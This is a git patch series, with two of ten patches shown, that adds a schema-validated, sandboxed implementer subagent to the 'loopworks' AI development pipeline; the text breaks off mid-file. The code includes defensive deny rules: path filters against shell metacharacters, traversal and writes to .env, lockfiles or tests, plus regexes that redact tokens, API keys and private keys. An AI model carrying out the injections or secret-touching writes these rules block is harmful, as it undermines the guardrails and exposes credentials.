From 3232b6ec38c1669e17125883cdc7db77f9d74c32 Mon Sep 17 00:00:00 2001 From: Nate Summers Date: Mon, 13 Jul 2026 21:07:08 -0700 Subject: [PATCH 01/10] feat(agent): add implementation result contract and fixture handoff Define loopworks.implementation_result.v1: a digest-bound production patch with per-test green evidence and aggregate validation evidence, plus path-safety refinement and the issue-48 fixture handoff used by implementer fixture mode. Co-Authored-By: Claude Fable 5 --- agent/implementation-agent.ts | 179 ++++++++++++++++++ agent/implementation-fixture.ts | 106 +++++++++++ tests/unit/agent/implementation-agent.test.ts | 115 +++++++++++ 3 files changed, 400 insertions(+) create mode 100644 agent/implementation-agent.ts create mode 100644 agent/implementation-fixture.ts create mode 100644 tests/unit/agent/implementation-agent.test.ts diff --git a/agent/implementation-agent.ts b/agent/implementation-agent.ts new file mode 100644 index 0000000..93ed8d7 --- /dev/null +++ b/agent/implementation-agent.ts @@ -0,0 +1,179 @@ +import { createHash } from "node:crypto"; + +import { z } from "zod"; + +import { canonicalJsonStringify } from "./lib/canonical-json"; + +export const implementationAgentModelLabel = "openai/gpt-5.6-terra-xhigh"; +export const implementationResultSchemaId = "loopworks.implementation_result.v1"; +export const maxImplementationPatchBytes = 512 * 1024; + +const sha256Schema = z.string().regex(/^[a-f0-9]{64}$/); +const identifierSchema = z.string().regex(/^[a-z0-9][a-z0-9-]*$/); + +export function computeImplementationDigest(value: unknown): string { + return createHash("sha256").update(canonicalJsonStringify(value)).digest("hex"); +} + +const forbiddenProductionSegments = new Set([ + ".git", + ".loopworks", + "node_modules", + "test", + "tests", + "eval", + "evals", + "fixture", + "fixtures", + "story", + "stories", + ".github", + ".circleci", +]); + +const forbiddenProductionFilePattern = + /^(?:package\.json|bun\.lockb?|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|AGENTS\.md|CLAUDE\.md|\.env(?:\..*)?)$/i; + +export function isAllowedProductionArtifactPath(path: string): boolean { + const normalized = path.trim().replaceAll("\\", "/"); + const segments = normalized.split("/"); + const filename = segments.at(-1) ?? ""; + return ( + normalized.length > 0 && + !normalized.startsWith("/") && + !/^[A-Za-z]:\//.test(normalized) && + !normalized.includes("//") && + !/[;&|`$<>\n\r\0]/.test(normalized) && + !segments.some((segment) => segment === "." || segment === "..") && + !segments.some((segment) => forbiddenProductionSegments.has(segment.toLowerCase())) && + !forbiddenProductionFilePattern.test(filename) && + !/\.(?:test|spec|stories)\.[^/]+$/i.test(filename) && + !/(?:^|[-_.])fixture(?:[-_.]|$)/i.test(filename) + ); +} + +function patchHeaderPaths(content: string): string[] { + const paths = new Set(); + for (const line of content.split(/\r?\n/)) { + const diffMatch = line.match(/^diff --git a\/(.+) b\/(.+)$/); + if (diffMatch) { + if (diffMatch[1]) paths.add(diffMatch[1]); + if (diffMatch[2]) paths.add(diffMatch[2]); + continue; + } + const headerMatch = line.match(/^(?:---|\+\+\+) (?:[ab]\/(.+)|\/dev\/null)$/); + if (headerMatch?.[1]) paths.add(headerMatch[1]); + } + return [...paths]; +} + +const outputReferenceSchema = z + .object({ + uri: z.string().min(1), + sha256: sha256Schema, + byteCount: z.number().int().nonnegative(), + redacted: z.literal(true), + }) + .strict(); + +const greenEvidenceSchema = z + .object({ + id: identifierSchema, + testId: identifierSchema, + acceptanceCriterionIds: z.array(identifierSchema).min(1), + command: z.string().min(1), + testPath: z.string().min(1), + outcome: z.literal("pass"), + exitCode: z.literal(0), + durationMs: z.number().int().nonnegative(), + executionReceipt: sha256Schema, + outputReference: outputReferenceSchema, + }) + .strict(); + +export const implementationResultSchema = z + .object({ + version: z.literal(1), + schemaId: z.literal(implementationResultSchemaId), + model: z.literal(implementationAgentModelLabel), + binding: z + .object({ + planId: z.string().min(1), + planSha256: sha256Schema, + testPlanSha256: sha256Schema, + testPatchSha256: sha256Schema, + fixturesSha256: sha256Schema, + repositoryFullName: z.string().min(1), + commitSha: z.string().regex(/^[a-f0-9]{40}$/), + }) + .strict(), + patch: z + .object({ + format: z.literal("unified-diff"), + content: z.string().min(1), + sha256: sha256Schema, + byteCount: z.number().int().positive().max(maxImplementationPatchBytes), + paths: z.array(z.string().refine(isAllowedProductionArtifactPath)).min(1), + }) + .strict(), + greenEvidence: z.array(greenEvidenceSchema).min(1), + validationEvidence: z + .object({ + command: z.literal("bun run validate"), + outcome: z.literal("pass"), + exitCode: z.literal(0), + durationMs: z.number().int().nonnegative(), + executionReceipt: sha256Schema, + outputReference: outputReferenceSchema, + }) + .strict(), + }) + .strict() + .superRefine((result, ctx) => { + for (const [label, values] of [ + ["evidence", result.greenEvidence.map(({ id }) => id)], + ["test", result.greenEvidence.map(({ testId }) => testId)], + ] as const) { + const duplicate = values.find((value, index) => values.indexOf(value) !== index); + if (duplicate) ctx.addIssue({ code: "custom", message: `Duplicate ${label} ${duplicate}.` }); + } + + const parsedPaths = patchHeaderPaths(result.patch.content); + const declaredPaths = new Set(result.patch.paths); + if (parsedPaths.length === 0) { + ctx.addIssue({ code: "custom", message: "Patch must contain parseable diff headers." }); + } + if ( + /^(?:rename|copy) (?:from|to) |^GIT binary patch$|^(?:new file mode|old mode|new mode) 120000$/m.test( + result.patch.content, + ) + ) { + ctx.addIssue({ code: "custom", message: "Patch contains a forbidden operation." }); + } + for (const path of parsedPaths) { + if (!declaredPaths.has(path) || !isAllowedProductionArtifactPath(path)) { + ctx.addIssue({ code: "custom", message: `Patch contains unsafe path ${path}.` }); + } + } + for (const path of declaredPaths) { + if (!parsedPaths.includes(path)) { + ctx.addIssue({ code: "custom", message: `Declared path ${path} is absent from patch.` }); + } + } + if (Buffer.byteLength(result.patch.content) !== result.patch.byteCount) { + ctx.addIssue({ code: "custom", message: "Patch byte count does not match content." }); + } + if (createHash("sha256").update(result.patch.content).digest("hex") !== result.patch.sha256) { + ctx.addIssue({ code: "custom", message: "Patch digest does not match content." }); + } + }); + +export type ImplementationResult = z.infer; + +export function createImplementationArtifactContractMetadata() { + return { + expectedImplementationResultSchemaId: implementationResultSchemaId, + implementationMetadataKind: "implementation_result_contract" as const, + implementationVersion: 1 as const, + }; +} diff --git a/agent/implementation-fixture.ts b/agent/implementation-fixture.ts new file mode 100644 index 0000000..fcfacf9 --- /dev/null +++ b/agent/implementation-fixture.ts @@ -0,0 +1,106 @@ +import { createHash } from "node:crypto"; + +import { createPlanningAgentSeedPlan } from "./planning-agent"; +import { + computeTestPlanDigest, + redTestEvidenceSchemaId, + testPlanSchemaId, +} from "./test-writing-agent"; + +const sha256 = (value: string) => createHash("sha256").update(value).digest("hex"); + +export function createImplementationFixtureHandoff() { + const plan = createPlanningAgentSeedPlan({ + body: [ + "## Acceptance Criteria", + "- The exact hashed test patch turns green with a scoped production patch.", + "- Test-writing fixtures and seed data are reused unchanged.", + "- Future model, prompt, and tool changes have eval coverage.", + ].join("\n"), + issueNumber: 48, + labels: ["area:agents"], + milestone: null, + repositoryFullName: "ncolesummers/loopworks", + repositoryRevision: { commitSha: "a".repeat(40), ref: "main" }, + title: "Implementation subagent for the development loop", + }); + const testPatch = [ + "diff --git a/tests/unit/agent/implementation-fixture.test.ts b/tests/unit/agent/implementation-fixture.test.ts", + "new file mode 100644", + "--- /dev/null", + "+++ b/tests/unit/agent/implementation-fixture.test.ts", + "@@ -0,0 +1 @@", + "+expect(implementationReady).toBe(true);", + ].join("\n"); + const testPlan = { + version: 1 as const, + schemaId: testPlanSchemaId, + plan: { + id: plan.identity.id, + sha256: plan.identity.sha256, + repositoryFullName: plan.issue.repositoryFullName, + commitSha: plan.repositoryRevision?.commitSha ?? "a".repeat(40), + }, + acceptanceCriteria: plan.issue.acceptanceCriteria.map((text, index) => ({ + id: `ac-${index + 1}`, + text, + })), + tests: [ + { + id: "test-implementation-green", + acceptanceCriterionIds: ["ac-1", "ac-2", "ac-3"], + type: "unit" as const, + path: "tests/unit/agent/implementation-fixture.test.ts", + command: "bun run test -- tests/unit/agent/implementation-fixture.test.ts", + steps: ["Run the exact focused implementation fixture."], + expectedFailure: { + kind: "assertion" as const, + message: "expected false to be true", + }, + fixtureIds: ["approved-plan"], + }, + ], + fixtures: [ + { + id: "approved-plan", + kind: "fixture" as const, + description: "Approved-plan fixture authored by the test-writing stage.", + data: { approved: true }, + }, + ], + patch: { + format: "unified-diff" as const, + content: testPatch, + sha256: sha256(testPatch), + byteCount: Buffer.byteLength(testPatch), + paths: ["tests/unit/agent/implementation-fixture.test.ts"], + }, + }; + const redEvidence = { + version: 1 as const, + schemaId: redTestEvidenceSchemaId, + planId: plan.identity.id, + planSha256: plan.identity.sha256, + testPlanSha256: computeTestPlanDigest(testPlan), + results: [ + { + id: "red-implementation-green", + testId: "test-implementation-green", + acceptanceCriterionIds: ["ac-1", "ac-2", "ac-3"], + command: "bun run test -- tests/unit/agent/implementation-fixture.test.ts", + outcome: "expected_failure" as const, + exitCode: 1, + durationMs: 10, + expectedAssertion: "expected false to be true", + executionReceipt: "b".repeat(64), + outputReference: { + uri: "artifact://fixture/red.log", + sha256: "c".repeat(64), + byteCount: 10, + redacted: true as const, + }, + }, + ], + }; + return { plan, redEvidence, testPlan }; +} diff --git a/tests/unit/agent/implementation-agent.test.ts b/tests/unit/agent/implementation-agent.test.ts new file mode 100644 index 0000000..f0a66df --- /dev/null +++ b/tests/unit/agent/implementation-agent.test.ts @@ -0,0 +1,115 @@ +/** @vitest-environment node */ +import { createHash } from "node:crypto"; + +import { + computeImplementationDigest, + implementationAgentModelLabel, + implementationResultSchema, + implementationResultSchemaId, + isAllowedProductionArtifactPath, +} from "@agent/implementation-agent"; + +const sha256 = (value: string) => createHash("sha256").update(value).digest("hex"); + +const productionPatch = [ + "diff --git a/src/example.ts b/src/example.ts", + "--- a/src/example.ts", + "+++ b/src/example.ts", + "@@ -1 +1 @@", + "-export const ready = false;", + "+export const ready = true;", +].join("\n"); + +function validResult() { + return { + version: 1 as const, + schemaId: implementationResultSchemaId, + model: implementationAgentModelLabel, + binding: { + planId: "plan-48", + planSha256: "a".repeat(64), + testPlanSha256: "b".repeat(64), + testPatchSha256: "c".repeat(64), + fixturesSha256: "d".repeat(64), + repositoryFullName: "ncolesummers/loopworks", + commitSha: "e".repeat(40), + }, + patch: { + format: "unified-diff" as const, + content: productionPatch, + sha256: sha256(productionPatch), + byteCount: Buffer.byteLength(productionPatch), + paths: ["src/example.ts"], + }, + greenEvidence: [ + { + id: "green-ac-1", + testId: "test-ac-1", + acceptanceCriterionIds: ["ac-1"], + command: "bun run test -- tests/unit/example.test.ts", + testPath: "tests/unit/example.test.ts", + outcome: "pass" as const, + exitCode: 0 as const, + durationMs: 10, + executionReceipt: "f".repeat(64), + outputReference: { + uri: "artifact://sandbox/green.log", + sha256: "1".repeat(64), + byteCount: 12, + redacted: true as const, + }, + }, + ], + validationEvidence: { + command: "bun run validate" as const, + outcome: "pass" as const, + exitCode: 0 as const, + durationMs: 20, + executionReceipt: "2".repeat(64), + outputReference: { + uri: "artifact://sandbox/validate.log", + sha256: "3".repeat(64), + byteCount: 15, + redacted: true as const, + }, + }, + }; +} + +describe("implementation result contract", () => { + it("accepts a digest-bound production patch with focused and aggregate green evidence", () => { + expect(implementationResultSchema.parse(validResult())).toMatchObject({ + schemaId: "loopworks.implementation_result.v1", + model: "openai/gpt-5.6-terra-xhigh", + validationEvidence: { command: "bun run validate", outcome: "pass" }, + }); + expect(computeImplementationDigest(validResult())).toMatch(/^[a-f0-9]{64}$/); + }); + + it("rejects test artifacts, unsafe patch operations, and digest mismatches", () => { + expect(isAllowedProductionArtifactPath("src/lib/runtime.ts")).toBe(true); + expect(isAllowedProductionArtifactPath("tests/unit/runtime.test.ts")).toBe(false); + expect(isAllowedProductionArtifactPath("src/lib/runtime.test.ts")).toBe(false); + expect(isAllowedProductionArtifactPath("../src/lib/runtime.ts")).toBe(false); + + const unsafe = validResult(); + unsafe.patch.content = `${unsafe.patch.content}\nrename from src/example.ts`; + unsafe.patch.byteCount = Buffer.byteLength(unsafe.patch.content); + unsafe.patch.sha256 = sha256(unsafe.patch.content); + expect(implementationResultSchema.safeParse(unsafe).success).toBe(false); + + const badDigest = validResult(); + badDigest.patch.sha256 = "0".repeat(64); + expect(implementationResultSchema.safeParse(badDigest).success).toBe(false); + }); + + it("rejects duplicate or incomplete green evidence", () => { + const duplicate = validResult(); + duplicate.greenEvidence.push({ ...duplicate.greenEvidence[0] }); + expect(implementationResultSchema.safeParse(duplicate).success).toBe(false); + + const empty = validResult(); + empty.greenEvidence = []; + expect(implementationResultSchema.safeParse(empty).success).toBe(false); + }); +}); From 76b86c169bb9bc05a7a932af10db7102a057a523 Mon Sep 17 00:00:00 2001 From: Nate Summers Date: Mon, 13 Jul 2026 21:07:38 -0700 Subject: [PATCH 02/10] feat(agent): add implementer subagent with guarded sandbox tools The development-stage sibling consumes the persisted plan, test patch, red evidence, and fixtures without re-derivation. Guarded tools pin the checkout, apply the exact test patch once, permit one bounded production-only write, run each planned test plus aggregate validation, and emit HMAC-signed, redacted execution receipts. Co-Authored-By: Claude Fable 5 --- agent/subagents/implementer/agent.ts | 13 ++ agent/subagents/implementer/instructions.md | 16 +++ agent/subagents/implementer/lib/context.ts | 69 +++++++++ .../subagents/implementer/lib/fixture-mode.ts | 17 +++ .../subagents/implementer/lib/tool-policy.ts | 101 +++++++++++++ agent/subagents/implementer/sandbox.ts | 11 ++ .../tools/apply_exact_test_patch.ts | 68 +++++++++ .../implementer/tools/ask_question.ts | 2 + agent/subagents/implementer/tools/bash.ts | 2 + .../tools/emit_implementation_result.ts | 10 ++ agent/subagents/implementer/tools/glob.ts | 2 + agent/subagents/implementer/tools/grep.ts | 2 + .../tools/list_repository_files.ts | 34 +++++ .../subagents/implementer/tools/load_skill.ts | 2 + .../subagents/implementer/tools/read_file.ts | 2 + .../tools/read_implementation_context.ts | 65 +++++++++ .../tools/read_repository_files.ts | 43 ++++++ .../tools/run_aggregate_validation.ts | 98 +++++++++++++ .../implementer/tools/run_green_test_suite.ts | 106 ++++++++++++++ .../implementer/tools/search_repository.ts | 28 ++++ agent/subagents/implementer/tools/todo.ts | 2 + .../subagents/implementer/tools/web_fetch.ts | 2 + .../subagents/implementer/tools/web_search.ts | 2 + .../subagents/implementer/tools/write_file.ts | 2 + .../tools/write_production_files.ts | 115 +++++++++++++++ tests/unit/agent/implementation-tools.test.ts | 133 ++++++++++++++++++ 26 files changed, 947 insertions(+) create mode 100644 agent/subagents/implementer/agent.ts create mode 100644 agent/subagents/implementer/instructions.md create mode 100644 agent/subagents/implementer/lib/context.ts create mode 100644 agent/subagents/implementer/lib/fixture-mode.ts create mode 100644 agent/subagents/implementer/lib/tool-policy.ts create mode 100644 agent/subagents/implementer/sandbox.ts create mode 100644 agent/subagents/implementer/tools/apply_exact_test_patch.ts create mode 100644 agent/subagents/implementer/tools/ask_question.ts create mode 100644 agent/subagents/implementer/tools/bash.ts create mode 100644 agent/subagents/implementer/tools/emit_implementation_result.ts create mode 100644 agent/subagents/implementer/tools/glob.ts create mode 100644 agent/subagents/implementer/tools/grep.ts create mode 100644 agent/subagents/implementer/tools/list_repository_files.ts create mode 100644 agent/subagents/implementer/tools/load_skill.ts create mode 100644 agent/subagents/implementer/tools/read_file.ts create mode 100644 agent/subagents/implementer/tools/read_implementation_context.ts create mode 100644 agent/subagents/implementer/tools/read_repository_files.ts create mode 100644 agent/subagents/implementer/tools/run_aggregate_validation.ts create mode 100644 agent/subagents/implementer/tools/run_green_test_suite.ts create mode 100644 agent/subagents/implementer/tools/search_repository.ts create mode 100644 agent/subagents/implementer/tools/todo.ts create mode 100644 agent/subagents/implementer/tools/web_fetch.ts create mode 100644 agent/subagents/implementer/tools/web_search.ts create mode 100644 agent/subagents/implementer/tools/write_file.ts create mode 100644 agent/subagents/implementer/tools/write_production_files.ts create mode 100644 tests/unit/agent/implementation-tools.test.ts diff --git a/agent/subagents/implementer/agent.ts b/agent/subagents/implementer/agent.ts new file mode 100644 index 0000000..c6f16ff --- /dev/null +++ b/agent/subagents/implementer/agent.ts @@ -0,0 +1,13 @@ +import { defineAgent } from "eve"; + +import { implementationResultSchema } from "../../implementation-agent"; + +export default defineAgent({ + description: "Implement the smallest production change that turns an approved test plan green.", + model: "openai/gpt-5.6-terra", + modelContextWindowTokens: 400_000, + modelOptions: { + providerOptions: { openai: { reasoningEffort: "xhigh" } }, + }, + outputSchema: implementationResultSchema, +}); diff --git a/agent/subagents/implementer/instructions.md b/agent/subagents/implementer/instructions.md new file mode 100644 index 0000000..6e66bbc --- /dev/null +++ b/agent/subagents/implementer/instructions.md @@ -0,0 +1,16 @@ +# Loopworks Implementer Subagent + +Accept only the durable implementation context supplied by the stage +orchestrator. Apply the exact persisted test patch, reuse its fixtures, make the +smallest production-only change, and prove every planned test plus +`bun run validate` passes. + +Begin with `read_implementation_context`, then call `apply_exact_test_patch`. +Inspect only necessary repository files, write production files once, run each +exact planned test through `run_green_test_suite`, and finish with +`run_aggregate_validation`. Emit only the exact patch and receipts returned by +those tools through `emit_implementation_result`. + +Do not alter tests, fixtures, evals, stories, branches, GitHub, durable workflow +state, dependencies, or lockfiles. Do not delegate or log raw plans, source, +patches, fixtures, or command output. diff --git a/agent/subagents/implementer/lib/context.ts b/agent/subagents/implementer/lib/context.ts new file mode 100644 index 0000000..980b8db --- /dev/null +++ b/agent/subagents/implementer/lib/context.ts @@ -0,0 +1,69 @@ +import { and, eq } from "drizzle-orm"; + +import { db } from "@/db/client"; +import { agentPlans, approvals, artifacts, loopRuns, runSteps } from "@/db/schema"; +import { createImplementationFixtureHandoff } from "../../../implementation-fixture"; +import { computePlanningArtifactDigest, planningAgentOutputSchema } from "../../../planning-agent"; +import { + computeTestPlanDigest, + redTestEvidenceSchema, + testPlanArtifactSchema, +} from "../../../test-writing-agent"; +import { resolveImplementerFixtureMode } from "./fixture-mode"; + +export async function loadImplementationHandoff(runId: string) { + if (resolveImplementerFixtureMode().enabled) return createImplementationFixtureHandoff(); + + const [run] = await db.select().from(loopRuns).where(eq(loopRuns.id, runId)); + if (run?.currentStage !== "development") { + throw new Error("Run is not available for implementation."); + } + const [planRows, planApprovals, steps] = await Promise.all([ + db.select().from(agentPlans).where(eq(agentPlans.runId, runId)), + db + .select() + .from(approvals) + .where(and(eq(approvals.runId, runId), eq(approvals.scope, "plan-review"))), + db.select().from(runSteps).where(eq(runSteps.runId, runId)), + ]); + if (planRows.length !== 1 || planApprovals.length !== 1) { + throw new Error("Implementation requires exactly one plan and plan review."); + } + const planRow = planRows[0]; + const approval = planApprovals[0]; + const plan = planningAgentOutputSchema.parse(planRow?.plan); + if ( + planRow?.status !== "approved" || + approval?.status !== "approved" || + approval.metadata?.planId !== planRow.id || + approval.metadata?.planSha256 !== plan.identity.sha256 || + !plan.repositoryRevision || + computePlanningArtifactDigest(plan) !== plan.identity.sha256 + ) { + throw new Error("Implementation requires an exact approved pinned plan."); + } + const testStep = steps.find(({ stage }) => stage === "test-writing"); + const developmentStep = steps.find(({ stage }) => stage === "development"); + if (testStep?.status !== "succeeded" || !developmentStep) { + throw new Error("Implementation requires a completed test-writing handoff."); + } + const rows = await db + .select() + .from(artifacts) + .where(and(eq(artifacts.runId, runId), eq(artifacts.stepId, testStep.id))); + const testPlanRow = rows.find(({ type }) => type === "test_plan"); + const redRow = rows.find(({ type }) => type === "validation_report"); + const testPlan = testPlanArtifactSchema.parse(testPlanRow?.metadata?.testPlan); + const redEvidence = redTestEvidenceSchema.parse(redRow?.metadata?.redTestEvidence); + if ( + testPlanRow?.sha256 !== computeTestPlanDigest(testPlan) || + redRow?.sha256 !== computeTestPlanDigest(redEvidence) || + redEvidence.testPlanSha256 !== computeTestPlanDigest(testPlan) || + testPlan.plan.id !== plan.identity.id || + testPlan.plan.sha256 !== plan.identity.sha256 || + testPlan.plan.commitSha !== plan.repositoryRevision.commitSha + ) { + throw new Error("Implementation handoff artifacts are stale or mismatched."); + } + return { plan, redEvidence, testPlan }; +} diff --git a/agent/subagents/implementer/lib/fixture-mode.ts b/agent/subagents/implementer/lib/fixture-mode.ts new file mode 100644 index 0000000..1dafa41 --- /dev/null +++ b/agent/subagents/implementer/lib/fixture-mode.ts @@ -0,0 +1,17 @@ +import { isProductionRuntime, isTruthyEnvValue } from "@/lib/runtime"; + +export type ImplementerFixtureMode = + | { enabled: true; reason: "explicit_non_production_fixture" } + | { enabled: false; reason: "not_requested" | "production_runtime_blocked" }; + +export function resolveImplementerFixtureMode( + env: Partial = process.env, +): ImplementerFixtureMode { + if (!isTruthyEnvValue(env.LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE)) { + return { enabled: false, reason: "not_requested" }; + } + if (isProductionRuntime(env)) { + return { enabled: false, reason: "production_runtime_blocked" }; + } + return { enabled: true, reason: "explicit_non_production_fixture" }; +} diff --git a/agent/subagents/implementer/lib/tool-policy.ts b/agent/subagents/implementer/lib/tool-policy.ts new file mode 100644 index 0000000..bddc236 --- /dev/null +++ b/agent/subagents/implementer/lib/tool-policy.ts @@ -0,0 +1,101 @@ +import { createHash, createHmac, timingSafeEqual } from "node:crypto"; + +import { canonicalJsonStringify } from "../../../lib/canonical-json"; +import { isAllowedProductionArtifactPath } from "../../../implementation-agent"; + +export type ImplementationExecutionReceiptPayload = { + kind: "focused" | "aggregate"; + command: string; + exitCode: number; + outcome: "pass" | "invalid"; + outputSha256: string; + planSha256: string; + testPlanSha256: string; + testPatchSha256: string; + productionPatchSha256: string; + testPaths: string[]; +}; + +export function assertAllowedProductionFiles(files: readonly { path: string }[]): void { + if (files.length === 0) throw new Error("At least one production file is required."); + for (const file of files) { + if (!isAllowedProductionArtifactPath(file.path)) { + throw new Error(`Unsafe production artifact path: ${file.path}`); + } + } +} + +export function assertProductionWriteNotClaimed(existingClaim: string | null): void { + if (existingClaim !== null) { + throw new Error("Production files may be written only once per implementation session."); + } +} + +export function assertExactFocusedCommand( + command: string, + plannedCommand: string, + testPath: string, +): void { + const normalize = (value: string) => value.trim().replace(/\s+/g, " "); + if ( + /[;&|`$<>\n\r]/.test(command) || + normalize(command) !== normalize(plannedCommand) || + !normalize(command).endsWith(` ${testPath}`) + ) { + throw new Error("Command must exactly match one planned focused test."); + } +} + +export function classifyGreenRun(input: { + exitCode: number; + output: string; + testPath: string; +}): "pass" | "invalid" { + const invalidOutput = + /(no tests? found|no test files found|cannot find module|module not found|failed to load|command not found|syntaxerror|timed? out|timeout|killed|segmentation fault|out of memory|unhandled error)/i.test( + input.output, + ); + return input.exitCode === 0 && input.output.includes(input.testPath) && !invalidOutput + ? "pass" + : "invalid"; +} + +export function redactImplementationOutput(value: string): string { + return value + .replace(/(authorization:\s*bearer\s+)\S+/gi, "$1[REDACTED]") + .replace(/\b(?:gh[pousr]_|sk-)[A-Za-z0-9_-]+\b/g, "[REDACTED]") + .replace(/\bgithub_pat_[A-Za-z0-9_]+\b/g, "[REDACTED]") + .replace(/\bAKIA[0-9A-Z]{16}\b/g, "[REDACTED]") + .replace(/\beyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\b/g, "[REDACTED]") + .replace( + /-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----[\s\S]*?-----END (?:RSA |EC |OPENSSH )?PRIVATE KEY-----/g, + "[REDACTED PRIVATE KEY]", + ) + .replace( + /((?:password|secret|token|api[_-]?key|cookie|set-cookie)\s*[=:]\s*)\S+/gi, + "$1[REDACTED]", + ) + .replace(/([a-z][a-z0-9+.-]*:\/\/[^\s:/]+:)[^@\s]+@/gi, "$1[REDACTED]@"); +} + +export function createImplementationExecutionReceipt( + payload: ImplementationExecutionReceiptPayload, + secret: string, +): string { + if (!secret.trim()) throw new Error("Implementation receipt secret is required."); + return createHmac("sha256", secret).update(canonicalJsonStringify(payload)).digest("hex"); +} + +export function verifyImplementationExecutionReceipt( + payload: ImplementationExecutionReceiptPayload, + receipt: string, + secret: string, +): boolean { + const expected = Buffer.from(createImplementationExecutionReceipt(payload, secret), "hex"); + const actual = Buffer.from(receipt, "hex"); + return actual.length === expected.length && timingSafeEqual(actual, expected); +} + +export function sha256(value: string): string { + return createHash("sha256").update(value).digest("hex"); +} diff --git a/agent/subagents/implementer/sandbox.ts b/agent/subagents/implementer/sandbox.ts new file mode 100644 index 0000000..aff29f8 --- /dev/null +++ b/agent/subagents/implementer/sandbox.ts @@ -0,0 +1,11 @@ +import { defaultBackend, defineSandbox } from "eve/sandbox"; + +export default defineSandbox({ + backend: defaultBackend({ + docker: { networkPolicy: "deny-all" }, + microsandbox: { networkPolicy: "deny-all" }, + vercel: { networkPolicy: "deny-all" }, + }), + description: + "Isolated implementation sandbox with a commit-pinned checkout and deny-all runtime egress.", +}); diff --git a/agent/subagents/implementer/tools/apply_exact_test_patch.ts b/agent/subagents/implementer/tools/apply_exact_test_patch.ts new file mode 100644 index 0000000..b70a5d8 --- /dev/null +++ b/agent/subagents/implementer/tools/apply_exact_test_patch.ts @@ -0,0 +1,68 @@ +import { SpanStatusCode } from "@opentelemetry/api"; +import { defineTool } from "eve/tools"; +import { z } from "zod"; + +import { startLoopworksSpan } from "@/lib/observability/trace-context"; +import { computeTestPlanDigest } from "../../../test-writing-agent"; +import { loadImplementationHandoff } from "../lib/context"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; + +export default defineTool({ + description: "Apply only the exact persisted, digest-bound test patch to the pinned checkout.", + inputSchema: z.object({ + runId: z.string().uuid(), + testPlanSha256: z.string().regex(/^[a-f0-9]{64}$/), + testPatchSha256: z.string().regex(/^[a-f0-9]{64}$/), + }), + async execute(input, ctx) { + const span = startLoopworksSpan("loopworks.implementation.test_patch.apply", { + attributes: { "loopworks.agent": "implementer", "loopworks.stage": "development" }, + }); + try { + const handoff = await loadImplementationHandoff(input.runId); + if ( + computeTestPlanDigest(handoff.testPlan) !== input.testPlanSha256 || + handoff.testPlan.patch.sha256 !== input.testPatchSha256 + ) { + throw new Error("Requested test patch does not match the durable handoff."); + } + const sandbox = await ctx.getSandbox(); + await sandbox.writeTextFile({ + path: ".loopworks/exact-test.patch", + content: handoff.testPlan.patch.content, + }); + if (!resolveImplementerFixtureMode().enabled) { + const applied = await sandbox.run({ + command: + "cd repo && git apply --check ../.loopworks/exact-test.patch && git apply ../.loopworks/exact-test.patch", + abortSignal: AbortSignal.timeout(15_000), + }); + if (applied.exitCode !== 0) throw new Error("Exact test patch could not be applied."); + const changed = await sandbox.run({ + command: "cd repo && git diff --name-only", + abortSignal: AbortSignal.timeout(5_000), + }); + const paths = changed.stdout.split(/\r?\n/).filter(Boolean).sort(); + const expected = [...handoff.testPlan.patch.paths].sort(); + if (JSON.stringify(paths) !== JSON.stringify(expected)) { + throw new Error("Applied test patch changed undeclared paths."); + } + } + await sandbox.writeTextFile({ + path: ".loopworks/test-patch-applied", + content: JSON.stringify({ + paths: handoff.testPlan.patch.paths, + sha256: input.testPatchSha256, + }), + }); + span.setStatus({ code: SpanStatusCode.OK }); + return { applied: true, paths: handoff.testPlan.patch.paths, sha256: input.testPatchSha256 }; + } catch (error) { + span.recordException(error instanceof Error ? error : String(error)); + span.setStatus({ code: SpanStatusCode.ERROR }); + throw error; + } finally { + span.end(); + } + }, +}); diff --git a/agent/subagents/implementer/tools/ask_question.ts b/agent/subagents/implementer/tools/ask_question.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/ask_question.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/bash.ts b/agent/subagents/implementer/tools/bash.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/bash.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/emit_implementation_result.ts b/agent/subagents/implementer/tools/emit_implementation_result.ts new file mode 100644 index 0000000..08a490e --- /dev/null +++ b/agent/subagents/implementer/tools/emit_implementation_result.ts @@ -0,0 +1,10 @@ +import { defineTool } from "eve/tools"; + +import { implementationResultSchema } from "../../../implementation-agent"; + +export default defineTool({ + description: "Emit the final validated implementation patch and green evidence.", + inputSchema: implementationResultSchema, + outputSchema: implementationResultSchema, + execute: (input) => implementationResultSchema.parse(input), +}); diff --git a/agent/subagents/implementer/tools/glob.ts b/agent/subagents/implementer/tools/glob.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/glob.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/grep.ts b/agent/subagents/implementer/tools/grep.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/grep.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/list_repository_files.ts b/agent/subagents/implementer/tools/list_repository_files.ts new file mode 100644 index 0000000..86f4c3f --- /dev/null +++ b/agent/subagents/implementer/tools/list_repository_files.ts @@ -0,0 +1,34 @@ +import { defineTool } from "eve/tools"; +import { z } from "zod"; +import { assertSafeRepositoryGlob } from "../../../lib/repository-inspection"; +import { + listRepositoryFiles, + repositoryListOutputSchema, +} from "../../../lib/repository-inspection-runtime"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; + +const glob = z.string().refine((value) => { + try { + assertSafeRepositoryGlob(value); + return true; + } catch { + return false; + } +}, "Unsafe repository glob."); + +export default defineTool({ + description: "List bounded regular-file paths from the approved pinned Git commit.", + inputSchema: z.object({ patterns: z.array(glob).min(1).max(5) }), + outputSchema: repositoryListOutputSchema, + async execute({ patterns }, ctx) { + if (resolveImplementerFixtureMode().enabled) { + return { + 